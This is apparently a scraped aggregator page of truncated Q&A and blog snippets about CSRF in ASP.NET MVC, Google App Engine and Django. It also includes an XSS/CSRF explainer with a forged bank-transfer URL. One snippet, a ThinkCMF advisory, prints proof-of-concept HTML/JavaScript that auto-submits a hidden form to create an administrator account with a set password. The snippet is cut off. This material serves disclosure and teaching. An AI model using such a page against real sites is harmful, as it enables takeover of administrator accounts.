csrf

ASP.NET MVC3 AntiForgeryToken

我的梦境 提交于 2019-12-02 23:51:06
Here I have simple MVC3 application with two form posts. To protect CSRF attack, I have used antiforgerytoken html helpers in both forms as per guidance here . Here are my two models: public class User { public string FirstName { get; set; } public string LastName { get; set; } } public class Employee { public int Id { get; set; } public string Name { get; set; } } Here is my homeController.cs: public class HomeController : Controller { public ActionResult Index() { return View(); } [HttpPost] [ValidateAntiForgeryToken] public ActionResult Index(User user) { if (ModelState.IsValid) return

How to best prevent CSRF attacks in a GAE app?

戏子无情 提交于 2019-12-02 23:45:53
So, what is the best way to prevent an XSRF attack for a GAE application? Imagine the following: Anyone can see a user's public object, and the db.Model id is used in the request to figure out which object to show. Malicious user now has the id. Malicious user creates their own object and checks out the delete form. They now know how to delete an object with a certain id. Malicious user gets innocent user to submit a delete request for that user's object. What steps can I add to prevent #3? Note that when I say ID, I am using the actual ID part of the key. One idea I had was to use the full

Django重点 ---- 中间件

。_饼干妹妹 提交于 2019-12-02 23:45:07
目 录 Django中间件简介 自定义中间件的5种方法 跨站请求伪造 装饰器 中间件前戏图解 一、Django中间件简介 什么是中间件? Django中间件是一个低级、轻量级的插件系统,用来处理django请求和响应的框架级别的钩子。 中间件用于在全局范围内改变django的输入和输出,每个中间件组件都负责特定的功能。 中间件的应用场景: django中间件(******) 用户访问频率限制 用户是否是黑名单 白名单 所有用户登录校验 只要是涉及到网址全局的功能 你就应该考虑使用中间件 总结:   中间件是帮助我们在视图函数执行前和执行后做一些额外的操作。 中间件的本质就是自定义的类,类中定义了几个方法,django框架的请求在特定的时间会触发这些方法!!! 二、自定义中间件的5种方法 django中间件暴露给我们5个自定义的方法,想要自定义中间件需要以下操作: django中间件暴露给程序员五个可以自定义的方法(五个方法都是在特定的条件下自动触发的) 1.新建一个文件夹 里面新建一个任意名称的py文件 里面写类 固定继承 from django.utils.deprecation import MiddlewareMixin class MyMiddle(MiddlewareMixin): ... 2.去配置文件注册到中间件配置中 你需要手写字符串的路径 'app01

ThinkCMF存在CSRF漏洞可创建管理员账号

匿名 (未验证) 提交于 2019-12-02 23:43:01
thinkCMF官网: https://www.thinkcmf.com/ 一、POC 当管理员登录后,打开包含以下内容的网页,就会自动创建一个管理员账号。 注:需要把url变量中的http://tp.im更改为安装时设置的域名。 以下内容保存为一个html网页,如test.html。 <html><body> <script type="text/javascript"> function post(url, fields) { var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); } function csrf_hack() { var fields; fields += " <input type=\"hidden\" name=\"user_login\" value=\"CSRFadministrator\" />"; fields += " <input type=\"hidden\" name=\"user_pass\" value=\"admin1234\" />"; fields += " <input

安全测试(xss \\ csrf 攻击)

匿名 (未验证) 提交于 2019-12-02 23:43:01
web安全之xss攻击 xss攻击的全称是Cross-Site Scripting (XSS)攻击,是一种注入式攻击。基本的做法是把恶意代码注入到目标网站。由于浏览器在打开目标网站的时候并不知道哪些脚本是恶意的,所以浏览器会无差别执行恶意脚本,从而导致用户信息和一些敏感信息被盗取和泄漏。(主要 获取cookie信息) xss一般分为两种类型,持久化的xss和非持久化的xss web安全之csrf攻击 srf攻击的全称是Cross-Site Request Forgery攻击,简单来说是利用当前用户的 登录态 冒充该用户去做一些对受害者不利的事情。 假设Alice想通过ban.com网站给bob转100块钱,当然了,bank.com是有安全漏洞的,不能防止csrf攻击。Maria,一个攻击者,想通过一些不正当手段让Alice转账给她,下面是她的一些做法: 构造攻击的链接或脚本 通过社交网站诱骗Alice去点击伪造链接或执行脚本 简单例子 如果bank.com银行应用是通过GET加传参的方式进行转账,如下所示 GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1 那么Maria现在决定让Alice成为受害者,她开始伪造url,让Alice从账户中转10000块钱到自己账户。她通过替换链接中参数的方式来达到这一目的。

django进阶版3

只谈情不闲聊 提交于 2019-12-02 23:42:30
hello... cookie与session 为什么会有cookie和session? 由于http协议是无状态的 无法记住用户是谁 cookie cookie是保存在客户端浏览器上的键值对 是服务端设置在客户端浏览器上的键值对 也就意味着浏览器其实可以拒绝服务端的"命令" 默认情况下 浏览器都是直接让服务端设置键值对 django必会三板斧 return HttpResponse() return render() return redirect() 变形: obj1 = HttpResponse() return obj1 obj2 = render() return obj2 obj3 = redirect() return obj3 设置cookie obj1.set_cookie() 获取 request.COOKIES.get() 删除 obj1.delete_cookie() 1.登录功能 用户登录成功之后 一定要保存用户状态 session session是保存在服务器上的键值对 django session默认的过期时间是14天 操作session 设置session request.session['key'] = value # 仅仅只会在内存产生一个缓存 """ 1.django内部自动生成了随机的字符串 2.在django_session表中存入数据

谈CSRF与JSONP设置header问题

匿名 (未验证) 提交于 2019-12-02 23:40:02
方法一 JS代码中发起请求的方式普遍为AJAX 该技术在 1998 年前后得到了应用。允许客户端脚本发送HTTP请求(XMLHTTP) 方法二 通过HTML的方法 通过js自动在jsp中创建一个form表单,并给其method属性为post function post(URL, PARAMS) { var temp = document.createElement("form"); temp.action = URL; temp.method = "post"; temp.style.display = "none"; for (var x in PARAMS) { var opt = document.createElement("textarea"); opt.name = x; opt.value = PARAMS[x]; temp.appendChild(opt); } document.body.appendChild(temp); temp.submit(); return temp; } $(".submit_d a").click(function(){ var data = ($(this).attr("class")).split("-"); var series = data[0]; var discharge = data[1]; var

cookie与session以及中间件(CSRF)

帅比萌擦擦* 提交于 2019-12-02 23:36:52
session和cookie cookie与session 为什么会有cookie和session? 由于http协议是无状态的 无法记住用户是谁 cookie cookie是保存在客户端浏览器上的键值对 是服务端设置在客户端浏览器上的键值对 也就意味着浏览器其实可以拒绝服务端的"命令" 默认情况下 浏览器都是直接让服务端设置键值对 django必会三板斧 return HttpResponse() return render() return redirect() 变形: obj1 = HttpResponse() return obj1 obj2 = render() return obj2 obj3 = redirect() return obj3 设置cookie obj1.set_cookie() 获取 request.COOKIES.get() 删除 obj1.delete_cookie() 1.登录功能 用户登录成功之后 一定要保存用户状态 session session是保存在服务器上的键值对 django session默认的过期时间是14天 操作session 设置session request.session['key'] = value # 仅仅只会在内存产生一个缓存 """ 1.django内部自动生成了随机的字符串 2.在django

Yii2出现错误&#039;Unable to verify your data submission&#039;的解决

匿名 (未验证) 提交于 2019-12-02 23:34:01
这个错误的提示很明确的,是说提交的数据验证不通过。出现这个错误的原因是Yii2框架本身的安全机制需要在提交表单时验证CSRF,这对于数据的安全性和防止表单的重复提交是简单并且有效的一种解决方案。 如果是用的Yii2自带的模型加ActiveForm全栈开发思想的模式,一般是不会遇到这种情况的。因为它会自动在表单里增加一个隐藏的name为_csrf的的字段,框架会从request中接收到值并进行验证。所以目前有两种方式解决: 1、在表单中手动添加一个标签,就像这样(个人比较推荐): <input type="hidden" name="_csrf" value="<?=Yii::$app->request->csrfToken?>" /> 2、在控制器中设置这一属性:public $enableCsrfValidation = false , 虽然这种办法也能解决问题,但是不够安全,关掉CSRF就等于少了一层安全机制。 文章来源: https://blog.csdn.net/beyondamos/article/details/90510465

Django杂篇(2)

我是研究僧i 提交于 2019-12-02 23:31:49
目录 Django杂篇(2) cookie与session cookie session django中间件 自定义中间件 跨站请求伪造(csrf) CSRF的解决方案 Django杂篇(2) 本文主要介绍cookie与session组件,django中间件以及CSRF的一些介绍. cookie与session 首先我们要知道,HTTP协议本身是无状态的,无状态的概念是什么? 无状态的意思就是当用户的请求通过HTTP发给后端的时候,HTTP本身是不保留用户的任何状态的,即每次用户发送HTTP都会当做是用户第一次发送数据,这是非常不合理的,试想一下,如果我们登陆一个购物网站,登陆成功之后想要做购买商品,可是是做不了的,因为HTTP无状态,每次登陆都是第一次登陆,我们总是在不停地登陆,就没办法做任何操作. 所以就引出了cookie和session的概念,他们都是用来让用户"保持状态"的,即可以让用户处于登陆状态下,从而进行一系列的操作. cookie cookie的实际本体只是一段字符串,他是从服务器发送出来并且存放在浏览器(客户端)上的一组组键值对,当浏览器下次访问服务端的时候,就会在request请求里面自动携带这个字符串,服务端就可以识别这个字符串,根据这个cookie来解析出你的身份,哦,原来我们之前见过,而且进行过一些互动~ 查看cookie也非常简单